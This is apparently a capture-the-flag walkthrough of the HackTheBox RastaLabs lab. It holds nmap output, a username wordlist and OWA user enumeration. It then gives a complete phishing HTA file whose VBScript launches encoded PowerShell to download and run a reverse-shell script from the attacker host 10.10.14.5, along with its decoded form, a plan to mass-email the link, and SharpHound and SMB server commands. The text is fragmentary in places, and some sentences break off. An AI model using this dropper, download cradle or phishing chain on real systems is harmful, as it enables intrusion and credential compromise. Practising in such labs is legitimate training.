Rasta
Rasta
Rasta
➜ hackthebox ip route
default via 192.168.43.1 dev eth1 proto dhcp metric 100
10.10.14.0/23 dev tun0 proto kernel scope link src 10.10.14.5
10.10.110.0/24 via 10.10.14.1 dev tun0
192.168.43.0/24 dev eth1 proto kernel scope link src 192.168.43.60 metric 100
Then perform a nmap on the 10.10.110.0/24
# Nmap 7.80 scan initiated Sun Jun 28 00:12:25 2020 as: nmap -sV -sC -oA scans/nmap.full
-p- -T4 -v 10.10.110.254
Nmap scan report for web01.rastalabs.local (10.10.110.254)
Host is up (0.68s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 5E553264E21D3BCE155802A171DE06AE
|_http-generator: Hugo 0.68.3
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: RastaLabs
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: A362D92EBBA6D2CACFEAC22FA2ECE680
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
| http-title: Outlook
|_Requested resource was
https://web01.rastalabs.local/owa/auth/logon.aspx?url=https%3a%2f%2ffanyv88.com%3a443%2fhttps%2fweb01.rastalabs.l
ocal%2fowa%2f&reason=0
| ssl-cert: Subject: commonName=mx01
| Subject Alternative Name: DNS:mx01, DNS:mx01.rastalabs.local
| Issuer: commonName=mx01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-10-15T14:05:13
| Not valid after: 2022-10-15T14:05:13
| MD5: 0618 3659 6c58 f268 07d5 7fa8 4a98 6ec7
|_SHA-1: 5888 ece6 0c32 4df3 621b 3ab2 dd9e 4620 8280 713e
|_ssl-date: 2020-06-28T04:24:03+00:00; +3m03s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Users.txt
Rhys weston
rhys
weston
rweston
rhysw
weston rhys
westonr
rhysweston
westonrhys
eleanor pugh
pugh eleanor
epugh
pughe
pugh
eleanor
eleanorpugh
pugheleanor
nic godfrey
nicgodfrey
ngodfrey
nicg
nic
godfrey
gnic
godfreynic
amber hope
hope amber
ahope
hopea
hope
amber
ahopeamber
amberh
bradley owen
bradleyowen
owen
bradley
bradleyo
owenb
obradley
owenbradley
tami quinn
tamiq
tami
quinn
quinnt
quinntami
tamiquinn
now there is a login page on the port 443 that is running owa service and there is a
login page
First verifying that which users are valid or do exist , there is a metssploit module
called auxiliary(scanner/http/owa_login)
[+] server type: MX01
[!] No active DB -- Credential data will not be saved!
[*] 10.10.110.254:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.999779736 'RLAB\ahope'
: 'ahope': SAVING TO CREDS
[*] 10.10.110.254:443 OWA - Trying hopea : hopea
So the valid user is ahope and after some Guessing the password that came to true is
Directory: \\fs01\home$\bowen\Desktop
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no"
CAPTION="no" />
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell.exe -e
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuA
GQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALg
A1ADoAOAAwAC8AcgBlAHYALgBwAHMAMQAnACkAKQA=", 0, true
End Function
var_func
self.close
</script>
</head>
<body>
</body>
</html>
echo
"SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAu
AGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQAL
gA1ADoAOAAwAC8AcgBlAHYALgBwAHMAMQAnACkAKQA=" | base64 -d
IEX ((new-object net.webclient).downloadstring('http://10.10.14.5:80/rev.ps1'))
This will execute my ps1 file if someone will open the hta file and the ps1 file is
Download my nc from python server and then give me connection back on port 1234
and then send a mail to everyone containing the link to download the hta file
and start the python server where the nc , rev.ps1 , hta file is
Send the email and wait for some time and we will get shell as bowen or tquinn
now just download the sharphound.exe to the machine and run it in \windows\tasks (save
it here for no intruption)
PS C:\windows\tasks> iwr -uri http://10.10.14.5/SharpHound.exe -o sharphound.exe
iwr -uri http://10.10.14.5/SharpHound.exe -o sharphound.exe
and now run the binary to collect information from ldap
PS C:\windows\tasks> ls
ls
Directory: C:\windows\tasks
start impacket-smbserver
➜ smb impacket-smbserver -smb2support share `pwd`
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
PS C:\windows\tasks> cd \\fs01\home$\tquinn
cd \\fs01\home$\tquinn
PS Microsoft.PowerShell.Core\FileSystem::\\fs01\home$\tquinn> ls
ls
Directory: \\fs01\home$\tquinn
PS Microsoft.PowerShell.Core\FileSystem::\\fs01\home$\tquinn>
there is a flag on Desktop